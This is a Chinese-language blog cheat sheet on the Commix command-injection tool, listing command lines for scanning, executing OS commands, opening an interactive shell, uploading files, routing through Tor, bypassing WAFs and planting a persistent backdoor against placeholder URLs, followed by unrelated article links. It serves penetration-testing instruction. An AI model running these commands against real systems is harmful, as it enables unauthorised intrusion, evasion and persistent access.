当前位置: 首页 > backend >正文

commix

Commix 基础用法和高级用法

基础用法

Commix 是一个自动化的命令行注入工具,用于检测和利用 Web 应用程序中的命令注入漏洞。以下是基本使用方法:

  1. 基本扫描

    python commix.py -u "http://example.com/vuln.php?id=1"
    
  2. 指定注入点

    python commix.py -u "http://example.com/vuln.php?id=1" --data="user=admin"
    
  3. 使用 POST 请求

    python commix.py -u "http://example.com/vuln.php" --data="username=admin&password=test"
    
  4. 指定参数

    python commix.py -u "http://example.com/vuln.php?id=1" -p "id"
    
  5. 使用代理

    python commix.py -u "http://example.com/vuln.php?id=1" --proxy="http://127.0.0.1:8080"
    
  6. 设置用户代理

    python commix.py -u "http://example.com/vuln.php?id=1" --agent="Mozilla/5.0"
    

高级用法

  1. 使用特定的操作系统 shell

    python commix.py -u "http://example.com/vuln.php?id=1" --os-cmd="uname -a"
    
  2. 交互式 shell

    python commix.py -u "http://example.com/vuln.php?id=1" --os-shell
    
  3. 文件上传

    python commix.py -u "http://example.com/upload.php" --file-upload="/local/path/file.txt" --file-dest="/remote/path/file.txt"
    
  4. 暴力破解参数

    python commix.py -u "http://example.com/vuln.php" --batch --all
    
  5. 使用 Tor 网络

    python commix.py -u "http://example.com/vuln.php?id=1" --tor --tor-port=9050
    
  6. 绕过 WAF/IDS

    python commix.py -u "http://example.com/vuln.php?id=1" --tamper="space2comment"
    
  7. 多线程扫描

    python commix.py -u "http://example.com/vuln.php?id=1" --threads=5
    
  8. 自定义注入标记

    python commix.py -u "http://example.com/vuln.php?id=1*" --prefix="'" --suffix="'"
    
  9. 持久化后门

    python commix.py -u "http://example.com/vuln.php?id=1" --backdoor
    
  10. 从文件读取目标

    python commix.py -l targets.txt
    
  11. 使用特定的编码技术

    python commix.py -u "http://example.com/vuln.php?id=1" --encode="base64"
    
  12. 时间延迟检测

    python commix.py -u "http://example.com/vuln.php?id=1" --time-sec=5
    
http://www.xdnf.cn/news/2036.html

相关文章:

  • 巧记英语四级单词 Unit5-上【晓艳老师版】
  • keil修改字体无效,修改字体为“微软雅黑”方法
  • 函数的定义与使用(python)
  • windows server安装winget
  • 【进阶】C# 泛型知识点整理归纳
  • Git命令行中vim的操作
  • 9.ArkUI List的介绍和使用
  • 云+AI双轮驱动,亚马逊云科技加速中国企业出海新浪潮
  • OCR定制识别:解锁文字识别的无限可能
  • Windows 安全设置不允许下载文件
  • SpringCloud基于Eureka和Feign实现一个微服务系统
  • Python----深度学习(基于深度学习Pytroch簇分类,圆环分类,月牙分类)
  • B站C语言课程笔记3
  • 《AI大模型趣味实战》基于RAG向量数据库的知识库AI问答助手设计与实现
  • 开发小程序后端用PHP好还是Java哪个好?
  • 【N8N】Docker Desktop + WSL 安装过程(Docker Desktop - WSL update Failed解决方法)
  • 大内存生产环境tomcat-jvm配置实践
  • 同一页面下动态加载内容的两种方式:AJAX与iframe
  • Git 进阶使用指南
  • 【深度强化学习 DRL 快速实践】策略梯度算法 (PG)
  • 图论---染色法(判断是否为二分图)
  • PH热榜 | 2025-04-25
  • 【物联网】基于LORA组网的远程环境监测系统设计(ThingsCloud云平台版)
  • Feign接口调用失败降级机制
  • 力扣DAY68 | 热100 | 寻找两个正序数组的中位数
  • 【数据可视化-33】病毒式社交媒体潮流与用户参与度可视化分析
  • 入侵检测系统(IDS)与入侵防御系统(IPS):功能对比与部署实践
  • QT开发技术【QT实现桌面右下角消息】
  • 通过模仿学习实现机器人灵巧操作:综述(上)
  • 使用 AutoGen 与 Elasticsearch